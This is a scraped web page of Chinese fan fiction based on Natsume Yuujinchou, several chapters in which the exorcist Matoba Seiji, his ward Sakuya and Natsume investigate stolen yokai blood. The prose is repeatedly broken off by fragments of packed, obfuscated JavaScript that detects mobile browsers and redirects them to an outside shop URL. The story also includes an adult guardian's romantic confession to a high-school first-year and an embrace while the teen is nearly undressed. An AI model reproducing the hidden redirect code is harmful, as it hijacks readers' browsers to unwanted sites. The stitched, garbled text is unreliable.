l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837130|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉门,朔也松了口气,恨恨地揉了一把脸。 算了,写作业吧,作业没那么可怕! 被推出门外的的场静司露出无奈的微笑,心情很是复杂,他是很喜欢那幅画没错,但…… 唯有自己可以看见的,却偶然被另一双眼睛捕捉。 实在是,很糟糕。 * 朔也又恢复了往日的行程,准点上学放学,完成课业,然后给七濑帮忙,以及在每个月那个妖怪即将“到访”的时候,给的场静司准备更多的术具。 其实朔也并不确定那些术具一定能帮上忙,毕竟自那次仪式之后,妖怪的诡计灵感好像暂时用完了,之后每个月的突袭都显得有些“随意”。 朔也怀疑这是它的一种策略,在人类开始轻视它时,再突然发起狡诈的袭击。 总之,哪怕妖怪的目标不是朔也,也依然给朔也带来了一种挥之不去的恶心感。 这也是无可奈何的事情。 紫藤花逐渐开到了尾声,夏天来了。 期中考试结束后,稍微放松一点的朔也又一次拜访了夏目。 他原本只是去给夏目送一些术法的笔记资料,但夏目学校的期中考试正好比朔也的学校晚一周,于是,披着优等生光环的朔也稀里糊涂地成了夏目的临时“救命稻草”。 “只是期中考试而已,不至于废寝忘食到这种程度吧?” 夏目脸上硕大的黑眼圈让朔也很是吃惊。 “……” 夏目无言以对,他总不好告诉朔也,他学习到深夜还得抽出精力把名字还给找上门的妖怪。 “放轻松啦!”朔也努力安慰道:“虽然我们不同校,但对于揣摩老师的出题重点,我还是有点经验的。” “那就拜托你了,朔也!” 朔也一边翻着夏目的课本,一边问道:“这么紧张期中考试,是有想报考的大学了吗?” “呃,不是。”夏目有些不好意思地解释道:“期中考试后有家长面谈,如果考得太糟糕的话,塔子阿姨也许会担心……” 朔也愣了一下,突然明白过来。 夏目过去的处境很艰难,也许寄养家庭的大人根本不关心他在学校的情况,甚至不会参与家长活动。 但现在夏目有了自己的家,藤原夫妇一定很愿意去学校的,虽然朔也觉得他们大概是那种即使孩子成绩差也只会担心孩子考砸了会不会难过的人,但珍视着藤原夫妇的夏目当然不想让他们失望。 “放心,夏目!”朔也的手郑重地搭在夏目的肩膀上,坚定地说道:“我一定要让你考出有史以来最好的成绩!” “诶?” 夏目忽然感觉到了莫名的压力,其实他的目标是及格来着…… 严格起来的朔也,像是一款影视剧里才会出现的魔鬼老师,还附赠无差别毒舌属性。 在经过一天一夜的洗礼后,夏目的黑眼圈更严重了,大脑里新塞满的知识让他有种头重脚轻的感觉。 准备打道回府的朔也贴心地免去了这位临时学生的送别,叮嘱道:“不要懈怠,下周就看你的了!” 不知道是不是他的错觉,总觉得夏目的脸更苍白了。 出了藤原家,朔也在初夏的乡间小道上走了一会儿,低头看向一直跟在他侧后方的东西。 “丑猫,你是在替夏目送我吗?” “嘁!本大爷只是在散步,散步!” “这样啊。”朔也不在意地撇过脸,“我本来还打算让你带我去附近的特产店呢。” “嗯?嗯?!特产店!!”猫咪老师眼里猛地放出亮光,“是七辻屋吧?七辻屋!我带你去!” 看着胖猫迫不及待地跑到前头,一边不停地念叨着馒头豆沙包之类的,一边催促他走快点,朔也嫌弃道:“太吵了,丑猫!” 猫咪老师怪里怪气的声音更大了。 这样不靠谱的妖怪保镖,好像还没他家的八咫靠谱,跟在夏目身边其实就是为了骗吃骗喝吧。 朔也深深地怀疑着。 39.第三十九章 妖血 * “静司先生,我带了点心回来,要吃吗?” “哦呀,朔也,你来得正好!”的场静司拉开门,笑道:“来看看这个!” 很少见到的场静司高兴得这么外露,朔也好奇地走进房间。 “噫!”朔也吓得后退了一步,“什么东西?!” “竟然会被吓到吗?”的场静司轻笑出声,“看来还得改进呢。” “这是什么?也太丑了!”朔也看着眼前有着惨白面具的黑漆漆人形,忍不住吐槽道:“像是扭曲的人影,给人不详的预感。” “啊,这么说,确实有点诡异……”的场静司思忖道:“不过这样会更有威慑力吧?” 朔也盯着黑漆漆看了一会儿,惊诧地问道:“静司先生,难道这个就是‘那个’?!” 没头没脑的一句话,的场静司却很清楚朔也的意思,他肯定道:“这就是我们之前研究的式神,试了很久,最近终于可以成形了。” “成功啦?!” 这下朔也不嫌弃黑漆漆丑了,他眼睛亮晶晶地围着看了好几圈,才问道:“怎么样?好用吗?” “可以听从指令,不过行动起来有些笨拙,需要教育一段时间。” 说着的场静司给黑漆漆下达了命令,“把门关上。” 黑漆漆点头,然后猛地窜到门口,哐地一声拉上了门,接着从门的外面直接穿行进来,走到的场静司身后站好。 朔也点点头,“是哦,感觉还掌控不了合适的力度。” “但作为打手已经合格了。”的场静司微微一笑。 朔也盯着他看了一会儿,喃喃地说道:“带着这样黑漆漆的影子,还微笑着说出这种话,反派的气质会不会太强烈了一些?” “朔也把心里话说出来了哦~”的场静司依然笑眯眯的。 “哈哈。”朔也尬笑了两声,建议道:“这样看着实在有点吓人,也许面具没有嘴巴更好吧?不然就像裂口女一样。” 的场静司想了想,点点头,“确实如此。” 虽然从他的角度来说,看起来可怖些更合适,但如果朔也这样想的话,那改动一点也没什么。 “朔也想要这个吗?” 的场静司其实在问出问题前已经有了答案。 果然,朔也果断摇头拒绝。 “我不需要。” 的场静司想说些什么,刚准备开口就被敲门声打断了。 “当家,打扰了。” 进来的是经常跟在的场静司身边的同门之一,他和朔也打过招呼,又询问似的看向的场静司。 “没关系,说吧。” 本打算离开的朔也只好留了下来,顺便给同门分了些七辻屋的点心。 这位同门给的场静司汇报的是附近妖怪的事情。 最近一段时间,附近几片森林里有许多妖怪遭到了不明人物的袭击,受伤或死去的妖怪都被盗走了大量妖血。 这样的事情虽然看似和除妖师无关,但因为波及范围太大,又十分异常,所以受到的场一门的关注。 更何况妖血不仅对妖怪很重要,对除妖师来说也是重要的术具材料,很多咒术相关的仪式都需要用到妖血,尤其是那些涉及献祭的部分。 无论是妖怪还是人类,突然夺取这么多妖血,多半不是为了做好事。 “朔也很在意吗?” 的场静司吃着豆沙包,看向明显在走神的朔也。 “嗯,我觉得这不像是妖怪做的。”朔也斟酌着说道:“有能力做这种事情的大妖怪,大概会直接粗暴地把其他妖怪绑走或吃掉。” “是呢。”的场静司点头。 “如果是除妖师,要这么多妖血……”朔也有种不好的预感。 的场静司思忖道:“这么大量的妖血,一般只会在给大妖献祭时才会用到。” 朔也的脑子里瞬间冒出一个念头,他看了看的场静司,欲言又止。 “是有什么猜测吗?”的场静司带着些微意味不明的笑意。 “呃……”朔也犹豫了一会儿,还是低声说道:“会不会是内部的人?” 虽然怀疑自己人不太好,但这种狠厉大胆的行径,在除妖师里,一时半会儿还真想不出的场一门以外的人。 “啊,确实有这种可能。” 的场静司没觉得朔也的猜测过分,反而解释道:“的场一门成员众多,因为筛选时只以实力为标准,确实会吸纳进不少别有用心的家伙。所以定期清洗不良之辈和招揽除妖师一样,都是首领的重要职责。” “不过,我们对已有的成员会进行持续评估,以便对成员的属性进行划分。” 说到这里,的场静司好似颇有兴致,给朔也讲起了更多细节。 “比如你熟悉的佐野先生,他属于可信任的中坚者,对的场一门来说比较重要。而在本家久驻的同门,他们要么出自的场家的血亲或姻亲,要么是通过多次考核确定忠诚可信的人,亦或是具备天赋值得培养的潜力者,这些都是的场一门最重要的拥趸。” 朔也点了点头,不过场静司突然向他解释这么详细,让他多少觉得有些奇怪。 “朔也的话,从的场一门的角度来考虑,你以后会是我最重要的助手。” 朔也又点点头,“我知道,和七濑阿姨一样。” 的场静司看着朔也,微笑道:“但从我私人的角度来考虑,朔也是朔也就好,是否做助手或者其他什么职务,都无关紧要。” “只要在我身边,你想做什么都可以。” 朔也愣在原地,的场静司的话仿佛有回音一般在他脑海里来回震荡,让他觉得眩晕。 他猛地捂住脸,低下头,发出无声的呻吟。 静司先生疯了吗?干嘛突然说这种要命的话啊! “啊,抱歉,好像一不小心就告白了呢。” 面上看不出丝毫歉意的的场静司,笑眯眯地欣赏着对面坐着的“鸵鸟”朔也。 朔也的头无力地砸到矮桌上,凉凉的桌面让他火烧一样的脸稍微降温了些,他嘟囔着抱怨出声:“这种时候可以禁止静司先生说话吗?” “哦呀,只是说真心话就要被禁止,朔也好冷酷。” 朔也深深地感觉到,自己面对这样的的场静司毫无胜算。 他突然装作镇定地抬起头,严肃地咳了一声,“突然想起有点作业还没做完,我去学习了!” “作业遁”,启动! 的场静司看着眼前的少年以差点跌倒的姿势站起身,然后同手同脚般地走出房间,啪的一声拉上拉门,笑声终于控制不住地从嘴里溢出。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841658|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“静司先生!” 气急败坏的声音从外面传来,的场静司捂住嘴,但笑得更大声了。 这世上,还有什么比逗弄朔也更开心的事吗? * 因为被的场静司逗得只能遁走,关于妖血的事情就被岔开了。 之后朔也想起来,总觉得的场静司是故意的,大概是觉得这件事情很危险,所以想让自己避开。 朔也从不会觉得的场静司对他的保护是一种束缚,在这方面,他很听从对方的安排。 况且朔也觉得,那只“诅咒之瞳”的妖怪可能会在最近突袭的事情比妖血事件更紧急一些,他还是再多准备一些术具吧。 * 夏目会知道妖血的事情,纯属意外。 他没想到不过是散步时路过废弃的神社,就被卷入到诡异的事件中,不仅目睹了妖怪们被夺取鲜血的惨状,还突遭袭击,被吓得够呛。 这样可怕的事情明显是他应付不来的,而且他很担心,自己如果被牵涉进去有可能会连累塔子阿姨和滋叔叔。 所以当那个妖怪恳求他的帮助时,他十分犹豫,这一次竟然连猫咪老师都建议他不要答应…… 但即便如此,在知道有可能是人类杀害妖怪夺取鲜血之后,他真的无法做到视而不见。 然而,在调查妖血事件的过程中竟然会遇见的场家的人,这是夏目始料未及的。 尤其是,这个人不仅在废弃神社里袭击过他,甚至很可能是妖血事件的幕后真凶。 而这个人,竟然自称“的场静司”。 在这一瞬间,夏目差点怀疑自己精神错乱了,“静司”这个名字在的场家的重名率很高吗? 抱着“万一不是”的心情,夏目试探着问道:“静司先生?” “哦呀,你认识我?”的场静司有些意外。 夏目实在不敢相信眼前这个奇怪的人就是朔也口中的“静司先生”。 “我听朔也提起过。” “啊,你认识朔也?”的场静司更意外了,他打量了夏目一会儿,了然说道:“你就是夏目君吧。” 他竟然真是“静司先生”! 别说夏目,猫咪老师也一脸惊诧。 就算朔也只提过只言片语,但作为朔也信赖且尊敬的监护人,怎么可能是眼前这个年轻过头、打扮诡异而且看上去就很危险的家伙?! “昨天那个进入祠堂的少年就是你吧,实在抱歉,我以为你和妖怪是一伙的。” 的场静司走近了几步,看着夏目说道:“你确实和朔也说的一样。” 夏目没吭声,他本能地戒备着对方,眼前这个人,即使正微笑着,也让人十分忌惮。 “所以你现在是居住在这附近吗?”的场静司笑道:“这里妖怪可不少呢,你……” 被这样询问的夏目更警惕起来,他忍不住打断对方,问道:“是你把妖怪的血给夺走的吗?” 的场静司挑眉,“你知道多少?不如都说给我听听吧。” 在他说话的时候,夏目看见一个诡异的黑漆漆的人形从他身后突然冒了出来,这把他吓了一跳。 不过还没等他看清是什么东西,就被突然飞过的身影带飞了起来。 托翅膀妖怪的福,他终于不用和诡异的“静司先生”继续聊下去了。 40.第四十章 复仇 * 夏目实在不想相信朔也口中的“静司先生”会是夺取妖怪鲜血的凶手,幸好之后遇到了名取先生,他顿时像找到主心骨一般。 有名取先生的帮助,调查妖血事件顿时显得没那么困难了。 夏目和名取描述了一下他遇到的“的场静司”,再次确认道:“那个人真的就是朔也认识的‘静司先生’吗?” 名取点点头,“听你的描述,确实是他。” 夏目满脑袋黑线,“朔也他……”不是他想怀疑朔也的眼睛,但这中间的偏差实在太大了。 名取笑起来,“的场原来可不是现在这个样子,铃木君在他身边长大,观感肯定和其他人不一样。” 这么说也有道理,夏目勉强接受了,只是心里依然感觉怪怪的。 如果夏目交朋友的经验再多一些,大概就会明白,这就是那种“我朋友怎么能喜欢这种家伙”的护崽心理。 的场静司和夏目第一次见面,就成功给对方留下了反派般的印象,不过这样深刻的印象和夏目对朔也的信任比起来那就逊色多了。 夏目晚上难得主动地给朔也打去电话,说了白天发生的事情。 听完夏目支支吾吾的怀疑之后,朔也在电话那头笑了老半天。 “啊,抱歉,夏目,静司先生其实……” 朔也顿了顿,而后无奈地笑说道:“算了,我估计就算解释再多你也很难相信,只能说,静司先生绝对不是坏人,他只是有时候会故意做些引人误会的事情,你不用在意。” 听朔也这么说,夏目放下心来,“那有人夺取妖血的事情……” “啊,静司先生过去那边就是为了调查这件事,据说很危险,夏目,你要和名取先生继续调查吗?” “嗯,既然已经知道了这件事,我……没法视而不见……” 朔也的声音变得更柔和起来,“啊,我明白的。” “那你一定要多小心,我之前给你的符咒一定要随身带着。” “嗯,谢谢你,朔也。” 结束通话的夏目听着话筒里的盲音,有些愣神。 朔也真的好温柔啊…… 然而这么温柔的朔也所信赖又尊敬的“静司先生”竟然…… 算了算了,别想了,再纠结怕是要睡不好觉了。 * 次日夏目和名取汇合之后,让名取的式神留在废弃旧屋里照顾受伤的翅膀妖怪,两人则追踪着调查的信息去往了一座森林深处的村庄,夺取妖怪鲜血的事情最开始就是发生在这里。 巧合的是,他们进村后没多久就打听到,的场静司一行人也到了这里,还先他们一步住进了村庄的小旅馆。 调查的过程如此顺利,倒显得好像自己被人引入了陷阱之中。 名取本能地警惕起来,即便夏目告知了他朔也说的消息,他依然打算避开的场静司另行调查。 他没那么信任的场是一方面,另一方面,他也不想让夏目和的场一门的首领有过多牵扯。 夏目的力量有多强大他非常清楚,这正是的场十分渴望的东西,而夏目不是铃木君,的场静司不会利用对他而言特别重要的朔也,但利用起夏目来一定会毫不手软。 于是,名取带着夏目打着寻找离家出走弟弟的名义,悄悄入住了旅馆。 因为下雨导致山路坍塌的,他们不得不在这家旅馆住上一晚,第二天才能回去。 希望在那之前,能将事情调查清楚。 * 的场静司在偏僻山村的旅馆里遇到乱跑的夏目时并不感到意外,前一天晚上,朔也还特意打电话给他,抱怨他吓到了夏目。 其实他只是像平常那样说话而已,但这个叫夏目的少年过于敏感了,或者说,他太像是妖怪了,好像对人类抱有本能的戒备。 比如现在,他不过是邀请对方喝杯茶,这个少年却像个小刺猬一样,恨不得把全身所有的刺都竖起来。 “夏目君,既然你在这里,想必周一也来了吧?你们也在调查夺取妖血的事情?” 夏目看着眼前闲适地喝着茶的青年,即便他努力在脑海里将朔也那句“静司先生绝对不是坏人”加大加粗,也依然无法放松。 这个人就是让他觉得十分危险,就连刚刚“邀请”他喝茶,也带着不容拒绝的强势。 “啊,对我这么警惕吗?” 迟迟未听到夏目的回答,的场静司笑了笑,“其实我们完全可以合作,我这边查到的线索可比你们已知的要多得多。” 夏目试探着问道:“夺取妖怪鲜血的事,真的不是你们做的吗?” “当然。”的场静司坦然地说道:“虽然我们不择手段,但对这种费时费力又容易引来麻烦的事情不感兴趣。” 夏目心想,这样的说法倒是有种诡异的可信感。 “这座森林里沉睡着一个相当厉害的家伙,收集妖血的人大概想唤醒它,我就是为此而来。” 夏目看向的场静司,问道:“你要阻止那个人吗?” 的场静司弯起嘴角,没有回答,反而转移了话题。 “夏目君,我对你的力量很感兴趣。如果你愿意和我们合作的话,的场家可以提供丰厚的酬劳。” “我不需要。”夏目抿了抿唇,说道:“除非名取先生同意和你合作。” “哦呀,看来我们这次确实被名取家捷足先登了。”的场静司遗憾地说道:“那就请夏目君先留在这里吧,等周一过来后,我们再谈。” “诶?等等!”夏目惊诧地站起身,“我不能留在这里!” 的场静司置若罔闻,径直走出房间关上了门。 “等等!我要离开!” 等夏目冲过去时,发现门已经被锁住了,他又急又气,大力捶着房门。 “喂!的场!放我出去!” 夏目正愤怒地喊着,一个惨白的面具突然从门上冒了出来,他被吓了一跳,猛地后退几步。 门外传来的场静司命令式神的声音,“看住他,不要让他乱跑。” 夏目气得不行,大喊道:“的场,你不能软禁我!快放我出去!” 门外已经安静下来,没有任何回应。 夏目看向门边站着的诡异式神,又打量了一圈房间,那个不知道是谁派来的式神正在寻找力量强大的血液,猫咪老师和名取先生都很危险,他一定得想办法逃出去。 * 不远处的房间安静了一会儿,接着传来一声碎裂声。 的场静司转头,然后迅速赶了过去。 打开房门的瞬间,就见那个少年已经爬到了窗台上。 这里可是三楼,的场静司快速冲了过去,伸手想拽住夏目。 但看上去很瘦弱的夏目动作却很敏捷,他纵身一跃跳了下去,消失在树丛里。 实在是太莽撞了!周一难道没好好教过他吗? 的场静司皱眉,转身看向倒在地上的式神,面具被一拳击碎,看来夏目的力量比他预期的更加强大。 “我们马上去追他!”一旁的同门说道。 “不用追了。” 他们找了很久依然没能找到大妖的封印之处,现在,的场静司对夏目充满期待,也许这个少年能带着他们找对地方。 夏目在森林里奔跑着,躲避着的场静司式神的追击。 他想起对方说过的,这座森林里沉睡着强大的妖怪,想做坏事的人一定会去那里,如果他现在找到那个地方,也许还来得及阻止。 * 直到找到大妖沉睡的洞穴,夏目才弄明白,夺取妖血这件事情到底还是和的场有关。 策划整件事的幕后真凶,竟然曾是的场一门的咒术师,在一次封印强大妖怪时,她的式神被的场一门视作诱饵利用,结果不幸被大妖吞噬了。 虽然对许多的场一门的除妖师来说,式神就像术具一样是可随意利用的消耗品,但也有像这个咒术师一样,将式神视作重要同伴的人。 和自己朝夕相伴的那么重要的同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844777|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴,被他人冷酷地利用和放弃,这样的仇恨足以让人失去理智。 但可悲的事,一心向的场复仇的咒术师却做出了和的场一门没有本质区别的残酷事情。 她杀死了那么多妖怪,甚至想把夏目这个人类少年当做祭品,只为唤醒不知道会给这座森林带来多少危险的大妖。 “无法饶恕的场!我要让他和我的式神一样,被妖怪吃掉!” 咒术师怨恨地说着,召唤出数个形代式神。 唤醒大妖的鲜血还不够,眼前几个家伙正好可以作为补充。 就在局面危险又混乱的时候,几只箭飞射过来,轻而易举便将咒术师的式神祓除。 “猫咪老师,小心!” 夏目的动作很快,但终究快不过羽箭,那只箭擦着他的胳膊射中了猫咪老师。 “啊,抱歉,你们混在一起,我实在没法辨认。” “我可不是故意要射中你的哦,夏目君。” 一个身影从黑暗中走出,正是的场静司。 这家伙,就算不是故意射中他,但箭直冲着猫咪老师飞过去,难道不是故意的吗?! 夏目的怀疑在之后大妖被妖血唤醒时得到了验证,而他也终于知道,自己为什么总是能从的场静司的身上感受到危险的气息。 这确实是个会利用妖怪和人类做诱饵的危险人物! 他利用自己找到这里,故意射中猫咪老师,利用猫咪老师的血唤醒大妖,就连那个本意是要向的场复仇的咒术师,也被的场所利用,成了带领的场寻找强大妖怪的诱饵…… 果然像名取先生说的那样,的场一门为了获得强大的力量可以不择手段。 虽然同为除妖师,但这个人和名取先生截然不同,是个非常可怕的家伙。 而眼下唯一比这家伙可怕的,就只有觉醒过来的妖怪了。 这个妖怪体型庞大得能装满整个山洞,还释放出很强的毒气。 “给我听好!为你收集鲜血、画觉醒阵的人,就是我!” “为了我,去把那个男人吃掉吧!” 咒术师如此说着,却没有得到大妖的感激和听从,巨大的手无情挥过,将她如虫蚁般抛到一边。 大妖没有神志,只是一味地破坏着,好像只想把山洞里的人都捏死,然后捶穿困住它的洞穴。 “都让开!” 就在极度危险的时刻,一声清亮的指令传来,接着是箭矢划破空气的啸音。 一只带着符咒的羽箭射中了妖怪的头颅。 「沉眠于黄泉之渊的御君,请听吾愿。」 「以千钧之缚,缠彼狂悖之形。」 「令其化风归尘——祓除!」 随着真言念诵,巨大的妖怪如烟尘一般消解,转瞬就彻底消失了。 “你们到底在干什么!怎么搞出这么大的动静?” 说话的是个一身狼狈的少年人,他拿着弓箭扶着一旁的岩壁,身上的运动套装沾染了不少泥土,头上还挂着一些树叶,像是刚刚在树林里打过滚。 夏目惊喜地叫出声来,“朔也!你怎么来了?!” “昨天听你说了之后不太放心,所以过来看看。”朔也扶着墙歇了口气,抱怨道:“没想到路上碰到了坍塌,只能绕路,还好赶上了!” 的场静司走到朔也身边,顺手接过他手中的弓箭,上下打量着他,问道:“有受伤吗?” “还好,就是下雨后路太滑了,摔了几跤,没什么大碍。”朔也摆了摆手。 他正准备再说些什么,却看见一个女人突然跑向妖怪被祓除后留下的尘土,她匍匐在地,一边悲惨地哭泣着,一边徒劳地收拢灰尘,仿佛这样就能挽回什么。 “无法饶恕……的场,我绝不饶恕你!” 女人的悲鸣诅咒给了朔也十足的惊吓,他看向的场静司,压低声音问道:“她怎么了?发生了什么?” 的场静司微微扯动嘴角,不知道为什么,他突然觉得解释原由是一件让人为难的事情。 41.第四十一章 旅馆 * 坍塌的山路还没修好,虽然可以绕路但非常麻烦,加上朔也看上去实在太狼狈,本已经退房的的场静司又回到了小旅馆,他打算和朔也在这里多留一晚。 七濑和一些同门因为还有事务的关系陆续离开了,剩下的几位同门则留下来处理后续的事情。 “那位咒术师怎么办?” 的场静司看向朔也,“你觉得该如何处理呢?” 朔也皱着眉想了一会儿,摇摇头,“不知道……可能,就这样?” 的场静司微微笑了笑,没有说话。 朔也没有继续追问,转而提起夏目的事情。 “夏目似乎很忌惮你,静司先生,你做了什么让他误会的事情吗?” 的场静司心里暗暗叹气,面上却是滴水不漏。 “没有哦,我只是像往常那样罢了。”他笑着说道:“如果朔也好奇的话,可以询问夏目君。不过从他的角度看来,大概是个很可怕的故事。” 朔也无语,他就知道一定是发生了什么。 “那孩子非常莽撞呢,似乎完全意识不到危险。” “嗯?” “会毫不犹豫地从旅馆三楼跳下去,为了保护式神竟然用自己的身体去挡箭。”的场静司露出似笑非笑的表情,“好像非常忽略自己的存在。” “诶?!三楼?挡箭?!!”朔也的头发都快炸毛了,“这超级危险啊!夏目在干嘛?!” 的场静司笑而不语。 “我得去找他问个清楚,这也太鲁莽了!” 朔也刚走了两步,又被的场静司捞着后衣领拽了回来。 “朔也还是先打理好自己吧。” 低头看了看一身的狼藉,朔也撇撇嘴,“好吧。” * 朔也从浴室出来的时候,的场静司已经拿着旅馆的医药箱等在房间里了。 敷衍地擦着头发,朔也嘟囔道:“我讨厌撒隆巴斯的味道……”液体创可贴类产品都有强烈的药味,他每次闻到都想打喷嚏。 的场静司很有耐心地坐在一旁,态度非常明确。 朔也只好脱掉浴袍,只留一条短裤,盘腿坐到的场静司身前。 已经高一的朔也长高了许多,但还处于青春期的少年人总是看起来瘦巴巴的,骨头稍微粗壮一点就会把薄薄的皮肉撑起来,很容易给人一种“瘦骨嶙峋”的错觉,让人心生怜爱。 的场静司检查完朔也身上的擦伤和淤青,确认没有遗漏,才把人放开。 “好了,你可以去找夏目君了。” 朔也闻言看了他一眼,突然又坐了回去。 “静司先生,你不高兴吗?” 的场静司微微挑眉,露出和以往无异的笑容,“我看起来不高兴吗?” “不是表情的问题。”朔也撑着头定定地看着的场静司,“我就是觉得你很不高兴。” 被朔也这样看着,的场静司没有了伪装的心思,他微微叹了口气,“很敏锐呢,朔也。” “是因为那个咒术师吗?” “或许吧。”的场静司若有所思地说道:“也可能是整件事情所预示的东西。” “那种被反噬的感觉吗?” 的场静司看向朔也,在对方的注视下,他有种完全被看穿的战栗感。 “不择手段地利用他人,然后被他人不择手段地报复,式神怎样死去,就被人设下同样死法的陷阱。”朔也平静地说道:“其实听上去还挺公平的。” 的场静司无奈地轻笑一声,“还真是毫不留情。” “静司先生有想过改变吗?” 不等的场静司回答,朔也就说道:“不用现在回答我。” “我只是觉得,如果静司先生想改变什么的话,一定可以做到。” “以前的的场一门是什么样的,我不太了解,但由静司先生领导着的的场一门,肯定会和之前不一样吧。” 的场静司没说话,只是看着朔也,淡淡的微笑里透着让人难解的意味。 “呃,我的话很奇怪么?”朔也疑惑中带着些许不满。 “我今天做的这些事,朔也会生气吗?” “当然会生气!”朔也瞪大眼睛,“虽然我不喜欢那只丑猫,但它毕竟是夏目的伙伴!你故意射伤它,还误伤了夏目,我非常生气!” “我……” 的场静司刚说了一个字,就被朔也生气地打断了,“先听我说完!” “明明之前就调查清楚了,却为了不明妖怪的力量放任事态发展,导致那么多没作恶的妖怪白白死掉,最让我生气的,是你让自己和无辜的夏目还有名取先生身陷险境!” “如果我不及时赶到,你打算怎么处理那个大妖?它那个样子根本没法被的场一门驱使吧?是祓除还是放任不管呢?” “如果放任不管的话,那片森林还有这个村庄的人都会被祸及!虽然我知道静司先生肯定不会这么做,但只要想到这种状况我就非常、非常生气!” 朔也越说越气,双手环胸,火冒三丈地瞪着眼前的人。 的场静司静静地看着朔也,突然郑重地低下头,“对不起,朔也,让你担心了。” 朔也哼了一声,无奈地说道:“就算很生气,但因为让我生气的是静司先生,所以我也没有办法。” 的场静司的神情在朔也的声音里变得越来越温柔,他忍不住问道:“朔也,我可以拥抱你吗?” 朔也愣了一下,低头看了看除了短裤外光溜溜的自己,果断摇头,“不……” “不”字还没说完,朔也就被的场静司紧紧拥入怀中,对方的头埋在自己的脖颈处,呼出的气息喷洒在裸露的皮肤上,让朔也痒得难受,他不自在地扭了扭,“要是沾上撒隆巴斯的味道,可别怪我哦。” 的场静司闷笑了一声,让朔也脖子痒得实在忍受不了,只能费力推开他。 “好了,我要去找夏目了。”朔也爬起来,开始穿衣服。 的场静司走到朔也身边,替他扒拉了几下头发,说道:“啊,我和你一起去吧。” 朔也疑惑地看了他一眼。 “弄伤了他和那只猫,我很抱歉。”的场静司认真地说道。 朔也微笑起来,“嗯,一起吧!” * 当夏目看到的场静司郑重地向他道歉时,心里差点惊起惊涛骇浪,他下意识地看向一旁的名取先生,结果名取先生也一副很惊讶的样子。 “喂!叫的场的家伙!啊~痛……” 一旁的猫咪老师刚支棱了一秒就又萎靡下去,但不甘心促使它继续病恹恹地虚张声势起来。 “想让本大爷和夏目原谅你,你必须、啊~痛……你必须给我上供一个月的七辻屋馒头!” 夏目满脸黑线,但看在对方受伤的份上,他没有祭出铁拳,只能看向的场静司拘谨地说道:“呃,不用听它的……” 的场静司看着夏目怀里的胖猫,微笑道:“没问题,的场家会准备好的。” 猫咪老师一听这话,顿时眼睛放光,又支棱起来,开始得寸进尺,“还有、啊~痛……” 一听开头就知道猫咪老师一定会蹬鼻子上脸,夏目这次不再心软,戳了伤口一下,果然,猫咪老师马上安静了。 这样的丑猫看上去更丑了,但它毕竟确实不是什么坏家伙,也一直有保护夏目,朔也难得凑近了些,仔细看了看它的伤口。 “看来有点麻烦……” 朔也怜悯地看着丑猫,静司先生的力量很强,丑猫又只是半解封的状态,正面被射中,失去一些鲜血都只是小事,若是那根箭上有符咒的话,它被重新封印都有可能。 “啊,那怎么办?” 一听朔也这么说,夏目也担心起来,他就知道,猫咪老师之前说只是一点小伤是骗人的! “这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852363|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤口用人类的方法是没用的,不过妖怪应该会有它们自己的方法。” 朔也想了想,看了看房间里的几人,问道:“介意我请外援吗?” “外援?”夏目很迷惑。 朔也从衣兜里掏出一颗用草茎绑着的动物牙齿,晃了晃,“正好蓼牙和丑猫认识。” 在场的另外三个人类还没发表意见,就见猫咪老师奋力地挣扎了一下,发出虚弱的呐喊。 “不准告诉那家伙!啊~痛……” 猫咪老师的反应让朔也感到奇怪,但紧接着他就明白过来,狡黠地调侃道:“为什么?你们关系不是很好吗?之前听我说封印了它,你可是很不快呢!” “不行!总之就是不行!啊~痛……” 朔也冲夏目眨了眨眼,夏目愣了一下,点点头。 于是朔也不再犹豫,他将山猫的牙齿拢在手心,双手合十,闭上眼睛,呼唤道:“蓼牙,到我身边来吧。” 下一刻,一道小巧的影子猛地窜了出来。 “本大爷来也!” 有着银灰色皮毛和漂亮斑点花纹的山猫神气地落在榻榻米上,粗壮又蓬松的尾巴骄傲地摇了摇。 “朔也,什么事竟然需要本大爷出马?” 朔也下意识地看了的场静司一眼,果然,对方已经盯着山猫露出了迷之微笑。 “嘿,几个除妖师竟然都在,看来你们是遇到大麻烦了嘛~” 蓼牙看一圈,最后视线停在夏目身上,它歪了歪头,“你是新来的?” 看着毛茸茸的山猫妖怪,夏目不禁冒出一个念头,这才是正常可爱猫咪的样子吧…… “蓼牙,他是夏目,这次找你过来是为了他怀里那个家伙。” 